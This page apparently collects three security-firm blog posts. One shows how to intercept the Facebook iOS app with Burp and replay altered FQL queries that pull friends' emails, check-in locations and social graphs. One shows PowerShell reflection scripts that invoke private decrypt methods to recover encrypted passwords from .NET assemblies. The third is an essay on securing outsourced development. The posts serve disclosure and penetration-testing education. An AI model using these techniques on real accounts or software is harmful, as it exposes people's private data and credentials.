Back

Facebook Friends, Your Email Address Isn’t that Private

A Primer on Facebook Email Privacy

Facebook has a long and storied history of having confusing security and privacy settings. As of lately, there are three different settings (that I can find) that you can configure to control access to your email address(es). Each of these settings control specific facets of your email address privacy, but in this post we will focus on the third setting in the screen shot below. These settings are responsible for your email privacy, both on your profile and for your friends being able to see your email. This setting can be found by going to your “About” section of your profile and editing your contact information.

Fql

The locks are the configuration settings for your emails being accessible (by friends or publicly) and the circles are the configuration settings for for your email showing up in your timeline. The default setting (that I’ve seen) for your email privacy on Facebook is set to “Friends”.

Fql

But this is kind of an odd setting to have, as you can’t access or look up a friends email through the web interface of Facebook (assuming it is hidden from the timeline/profile). From what I can tell, this setting is primarily available for importing your Facebook contacts to other services (Gmail, Yahoo, etc.). I find this interesting as most people assume that they have successfully hidden their email adress on Facebook when they choose to not display it on their profile. Most of my friends are currently hiding both email addresses (private and facebook.com addresses) or they are just showing their @facebook.com email address in their profile. However, very few of my friends have their private email address set as available to “Only Me.”

The following walkthrough will go over how to enumerate your available Facebook friends’ email addresses by manipulating traffic from the iOS Facebook application.

The Attack

We’ve previously covered a few different attacks on the NetSPI blog regarding proxies and iOS apps. This will be yet another example of abusing permissions given to a mobile app to get access to data.

The setup for this attack is pretty simple. We will be using the Burp proxy from Portswigger to intercept the iOS traffic. First, install the Portswigger CA on your iOS device. This is needed to intercept the SSL traffic. Next, proxy your iOS traffic through Burp, and start looking at and modifying/replaying application traffic. I won’t get into the full details here, but the official instructions for setting up the Burp Proxy are here – https://portswigger.net/burp/help/proxy_options_installingCAcert.html#iphone

After opening up the Facebook application, we see the following request in the traffic when we go to look at our messages.

Fql

GET /method/fql.multiquery?sdk=ios&queries=%7B%22group_conversations%22%3A%22SELECT%20thread_id%2C%20name%2C%20title%2C%20is_group_conversation%2C%20pic_hash%2C%20participants%2C%20%20thread_fbid%2C%20timestamp%20FROM%20unified_thread%20%20WHERE%20timestamp%20%3E%201378149789000%20and%20folder%3D%27inbox%27%20and%20is_group_conversation%3D1%20%20and%20not%20archived%20order%20by%20timestamp%20desc%20limit%203%20offset%200%22%2C%22group_conversation_participants_profile_pic_urls%22%3A%22SELECT%20id%2C%20size%2C%20url%20FROM%20square_profile_pic%20WHERE%20size%20IN%20%2888%2C%20148%29%20AND%20id%20IN%20%28SELECT%20participants.user_id%20FROM%20%23group_conversations%29%22%2C%22favoriteRanking-Groups%22%3A%22SELECT%20favorite_id%2C%20ordering%2C%20is_group%20FROM%20messaging_favorite%20WHERE%20uid%3Dme%28%29%20and%20is_group%22%2C%22favorites%22%3A%22SELECT%20uid%2C%20is_pushable%2C%20has_messenger%2C%20last_active%20FROM%20user%20WHERE%20uid%20in%20%28SELECT%20favorite_id%20FROM%20messaging_favorite%20WHERE%20uid%3Dme%28%29%29%22%2C%22favoriteRanking%22%3A%22SELECT%20favorite_id%2C%20ordering%2C%20is_group%20FROM%20messaging_favorite%20WHERE%20uid%3Dme%28%29%22%2C%22group_conversations_favorites%22%3A%22SELECT%20thread_id%2C%20name%2C%20title%2C%20is_group_conversation%2C%20%20pic_hash%2C%20participants%2C%20thread_fbid%2C%20timestamp%20FROM%20unified_thread%20WHERE%20thread_fbid%20IN%20%28select%20favorite_id%20from%20%23favoriteRankingGroups%29%22%2C%22group_conversation_participants%22%3A%22SELECT%20id%2C%20name%20FROM%20profile%20WHERE%20id%20IN%20%28SELECT%20participants.user_id%20FROM%20%23group_conversations%29%22%2C%22top_friends%22%3A%22SELECT%20uid%2C%20is_pushable%2C%20has_messenger%2C%20last_active%20FROM%20user%20WHERE%20uid%20in%20%28SELECT%20uid2%20FROM%20friend%20WHERE%20uid1%3Dme%28%29%20order%20by%20communication_rank%20desc%20LIMIT%2015%29%22%7D&sdk_version=2&access_token=REDACTED&format=json&locale=en_US HTTP/1.1 Host: api.facebook.com Proxy-Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* Cookie: REDACTED Connection: keep-alive Accept-Language: en-us User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B329 [FBAN/FBIOS;FBAV/6.4;FBBV/290891;FBDV/iPhone4,1;FBMD/iPhone;FBSN/iPhone OS;FBSV/6.1.3;FBSS/2; FBCR/AT&T;FBID/phone;FBLC/en_US;FBOP/1]

This request selects your conversations along with the information about the people involved in the conversations. It’s a pretty complicated query, but we won’t care about that in a minute. If you want to use this as a tutorial, this is the request that you will want to right-click on and “send to repeater” in Burp.

Here’s the unencoded query:

{"group_conversations":"SELECT thread_id, name, title, is_group_conversation, pic_hash, participants,  thread_fbid, timestamp FROM unified_thread  WHERE timestamp > 1378149789000 and folder='inbox' and is_group_conversation=1  and not archived order by timestamp desc limit 3 offset 0","group_conversation_participants_profile_pic_urls":"SELECT id, size, url FROM square_profile_pic WHERE size IN (88, 148) AND id IN (SELECT participants.user_id FROM #group_conversations)","favoriteRankingGroups":"SELECT favorite_id, ordering, is_group FROM messaging_favorite WHERE uid=me() and is_group","favorites":"SELECT uid, is_pushable, has_messenger, last_active FROM user WHERE uid in (SELECT favorite_id FROM messaging_favorite WHERE uid=me())","favoriteRanking":"SELECT favorite_id, ordering, is_group FROM messaging_favorite WHERE uid=me()","group_conversations_favorites":"SELECT thread_id, name, title, is_group_conversation,  pic_hash, participants, thread_fbid, timestamp FROM unified_thread WHERE thread_fbid IN (select favorite_id from #favoriteRankingGroups)","group_conversation_participants":"SELECT id, name FROM profile WHERE id IN (SELECT participants.user_id FROM #group_conversations)","top_friends":"SELECT uid, is_pushable, has_messenger, last_active FROM user WHERE uid in (SELECT uid2 FROM friend WHERE uid1=me() order by communication_rank desc LIMIT 15)"}

What we’re going to do is make our own query to get more information about our friends. Returned in a nice easy to parse format.

Here’s the query that we’re going to use to select our Friends’ email addresses:
{” friends_email”:”SELECT uid, email, contact_email FROM user WHERE uid in (SELECT uid2 FROM friend WHERE uid1=me())”}

You will have to URL encode the spaces in the query, but you can just paste this over the previous query that we intercepted earlier (and passed to repeater) and URL encode it in Burp.

This will select the Facebook User ID, and any email or contact email addresses associated with the account. The UID can also be handy for quickly pulling up someone’s account. i.e. https://www.facebook.com/4

Here’s a sample of what we get back from the query:
[{“name”:”friends_email”,”fql_result_set”:[{“uid”:13931306,”email”:”karlu0040example.com”,”contact_email”:”karlu0040example.com”}]}]

So we can access our friends’ email addresses, this may not seem like a big deal for some people, but if you have friends like mine, then your friends may not want their real email address publically available through Facebook. If you can’t tell by the screen shot above, my friends appreciate their privacy.

While we’re requesting stuff that your friends may not want you to have access to, let’s look at some other interesting info that you can access.

Some of my personal favorites:

  • Location Data for check-ins:
    • {” friends_locations”:”SELECT coords, message, timestamp FROM location_post WHERE author_uid in (SELECT uid2 FROM friend WHERE uid1=me())”}
  • Publicly liked pages:
    • {” URLs_liked”:”SELECT url FROM url_like WHERE user_id =4″}
  • Events information:
    • {“z_events”:”SELECT description, host FROM event WHERE creator=4″}
  • Friends of a friend:
    • {“friends_of”:”SELECT+uid2+FROM+friend+WHERE+uid1=4″}

From the Facebook Developers page, here’s the schema that you can use to query FQL – https://developers.facebook.com/docs/reference/fql

Conclusion

I did reach out to Facebook about this issue, but since this is “intended” functionality, they were not very interested in hearing about this. The functionality of the email privacy setting doesn’t make a whole lot of sense, but I will be setting my email address to private for all of my accounts.

Back

Using Powershell and Reflection API to invoke methods from .NET Assemblies

During application assessments, I have stumbled upon several cases when I need to call out a specific function embedded in a .NET assembly (be it .exe or .dll extension). For example, an encrypted database password is found in a configuration file. Using .NET Decompiler, I am able to see and identify the function used to encrypt the database password. The encryption key appears to be static, so if I could call the corresponding decrypt function, I would be able to recover that password.

Classic solution: using Visual Studio to create new project, import encryption library, call out that function if it’s public or use .NET Reflection API if it’s private (or just copy the class to the new workspace, change method accessibility modifier to public and call out the function too if it is self-contained).

Alternative (and hopeful less-time consuming) solution: Powershell could be used in conjunction with .NET Reflection API to invoke methods directly from the imported assemblies, bypassing the need of an IDE and the grueling process of compiling source code.

Requirements

Powershell and .NET framework, available at https://www.microsoft.com/en-us/download/details.aspx?id=34595

Note that Powershell version 3 is used in the below examples, and the assembly is developed in C#.

Walkthrough

First, identify the fully qualified class name (typically in the form of Namespace.Classname ), method name, accessibility level, member modifier and method arguments. This can easily be done with any available .NET Decompiler (dotPeek, JustDecompile, Reflector)

Kh Powershell Scenario

Scenario 1: Public static class – Call public static method

namespace AesSample
{
 public class AesLibStatic
 {
 ...
 public static string DecryptString(string cipherText)
 {
 return DecryptStringPrivate(StringToByteArray(cipherText));
 }

This is the vanilla case, essentially in powershell you just need to call [Namespace].[Classname]::(params[]) And it only took 2 lines of code to do it:

Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}} 
#Call public static method
[AesSample.AesLibStatic]::DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")

Result:
Kh Powershell Scenario

Scenario 2: Public static class – Call private static method

Let’s say you want to call this private static method, assuming the method name is unique within the class

private static string DecryptStringSecret(string cipherText) {
 return DecryptStringPrivate(StringToByteArray(cipherText));
}

Private methods can’t be accessed directly from Powershell object, instead you will need to find it by name and correct binding flags. More information about binding flags could be found here: https://msdn.microsoft.com/en-us/library/4ek9c21e.aspx

#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Only retrieve static private method
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
 
#Load method based on name
$PrivateMethod = [AesSample.AesLibStatic].GetMethod("DecryptStringSecret",$bindingFlags)
 
#Invoke
$PrivateMethod.Invoke($null,"8E3C5A3088CEA26B634CFDA09D13A7DB")

Scenario 2 Extension: Function Overloading: Public static class – Call private static method

In some cases, programmer takes advantage of function overloading feature of Object-Oriented languages – i.e multiple methods can have the same name as long as they have different argument list. For example:

private static string DecryptStringPrivate(string cipherText) {
 return DecryptStringFromBytes_Aes(StringToByteArray(cipherText), key, iv);
}
private static string DecryptStringPrivate(byte[] cipherText) {
 return DecryptStringFromBytes_Aes(cipherText, key, iv);
}

Note that the two DecryptStringPrivate methods have the same name, but one takes a string as input, while another takes a bytearray as input. In this case, to look up the right method, you will need method name and method signature. The snippet below will invoke DecryptStringPrivate(byte[] cipherText)

#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Search for private method based on name
$PrivateMethods = [AesSample.AesLibStatic].GetMethods($bindingFlags) | Where-Object Name -eq DecryptStringPrivate
 
 
$PrivateMethods | ForEach-Object{
 $PrivateMethod=$_
 $MethodParams=$PrivateMethod.GetParameters()
 $MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
 #This will list all the method signatures
 $MemberSignature.Member.ToString()
 
 #Choose the correct method based on parameter list
 If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
 [byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
 [Object[]] $Params=@(,$Bytes)
 
 #Call with the right arguments
 $PrivateMethod.Invoke($null,$Params)
 }
}

Scenario 3: Public class – Call nonstatic public method

If a class is not declared with “static” keyword, its methods can’t be invoked directly from the class itself but from an instance of the class with the following snippet:

Classname a = new Classname();
a.methodName(args[]);

For example:

namespace AesSample {
 public class AesLib {...public string DecryptString(string cipherText) {
 return DecryptStringPrivate(StringToByteArray(cipherText));
 }

Sample solution:

#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Call default constructor (no argument)
$AesSample= New-Object "AesSample.AesLib"
#Call constructor with arguments using this syntax: $AesSample= New-Object "AesSample.AesLib" ("a","b")
 
#Invoke public method 
$AesSample.DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")

Scenario 4: Public class: Function Overloading – Call nonstatic private method

This is very similar to Scenario 2: extension above. Again you will need both method name and argument list to call the right method.

private string DecryptStringPrivate(string cipherText) {
 return DecryptStringFromBytes_Aes(StringToByteArray(cipherText), key, iv);
}
private string DecryptStringPrivate(byte[] cipherText) {
 return DecryptStringFromBytes_Aes(cipherText, key, iv);
}

Solution:

#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Call constructor
$Instance= New-Object "AesSample.AesLib" ("a","b")
 
# Find private nonstatic method. If you want to invoke static private method, replace Instance with Static
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
 
$Instance.GetType().GetMethods($BindingFlags) | Where-Object Name -eq DecryptStringPrivate| ForEach-Object{
 $PrivateMethod=$_
 $MethodParams=$PrivateMethod.GetParameters() 
 $MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
 $MemberSignature.Member.ToString()
 If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
 [byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
 [Object[]] $Params=@(,$Bytes)
 
 # You will need to pass the Instance here instead of $null
 $PrivateMethod.Invoke($Instance,$Params)
 }
 }

Closing thoughts:

  • I didn’t include code to call out methods from private class in this post. Mainly because usually you can find a public class that reference to private class if it needs to use some methods of the private class, and then you can just invoke the calling method of the public class instead.
  • Those snippets work under assumption that all necessary .NET assemblies are located in the same folder. If other externally-linked .NET assemblies are required, add additional code to load them into memory.
  • Same with externally-linked native assemblies: either set them in your PATH environment variable, manually copy them to C:Windowssystem32 (not recommended) or load them with Powershell’s DllImport: https://blogs.msdn.com/b/mattbie/archive/2010/02/23/how-to-call-net-and-win32-methods-from-powershell-and-your-troubleshooting-packs.aspx
  • This method may also be useful in situations where you can’t decompile the application’s assemblies due to legal constraints. Consult with client or your contact before doing this, but it may be OK to list assembly’s methods and call them when necessary. This snippet will import all assemblies found in a folder and list all the constructors, methods along with argument list in a Powershell GridView (it’s kind of like mini-Excel so you have built-in search and filter features)
$Results=@()
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|
Where-Object { ($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | 
ForEach-Object {
 $AssemblyName= $_.FullName; try {$Assembly = [Reflection.Assembly]::LoadFile($AssemblyName);} catch{ "***ERROR*** Error when loading assembly: " + $AssemblyName} $Assembly | Format-Table; $Assembly.GetTypes() |
 %{
 $Type=$_;$_.GetMembers() | Where-Object {$_.MemberType -eq "Constructor"-or $_.MemberType -EQ "Method" } | 
 %{
 $ObjectProperties = @{ 'Assembly' = $AssemblyName;
 'ClassName' = $Type.Name;
 'ClassPublic' = $Type.IsPublic;
 'ClassStatic' = $Type.IsAbstract -and $Type.IsSealed;
 'MemberType' = $_.MemberType;
 'Member' = $_.ToString();
 'Changed' = $Changed;
 'MemberPublic' = $_.IsPublic;
 'MemberStatic' =$_.IsStatic;
 }
 $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
 $Results+=$ResultsObject
 }
 }
}
$Results | Select-Object Assembly,ClassPublic,ClassStatic,ClassName,MemberType,Member,MemberPublic,MemberStatic | Sort-Object Assembly,ClassName,MemberType,Member| Out-GridView -Title "Reflection"

Sample output:

Kh Powershell Scenario

Reference:

Thanks Scott for feedbacks and help testing them out. You can also find the snippets mentioned in this post at https://github.com/NetSPI/PS_Reflector

Back

Outsourcing application development – what is missing?

I have been reading a few articles on outsourcing application development. Many of them have good information on what to look for and how to work with the companies doing the development. However, I have yet to see any of these articles talk about security and how to handle that in the outsourcing process.

In any development process, either in-sourced or out-sourced, security needs to be considered. The developers need to be trained in secure coding techniques, and the architects have to have some training and experience on implementing security throughout the software development life cycle. In fact, these should never be excluded or glossed over. The development company you are considering needs to prove this and these requirements must be written into the contract. Have them show you the classes that these people have taken, and make sure they are up-to-date on the latest security vulnerabilities. You cannot have a developer take a course five years ago and consider their skills current.

What about after the code is completed? Do your contracts specify a security review? Both an application penetration test and code review must be done before the release of the application. The contract must also specify that any security vulnerabilities must be mitigated. It must also specify that the test will repeat until all high and medium level vulnerabilities are mitigated. Also, have the security testing done by your own company or a third party. It does not matter where the developers are from; it could be India, China, or the United States, there are bad or malicious programmers out there and you must trust them but verify their work.

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X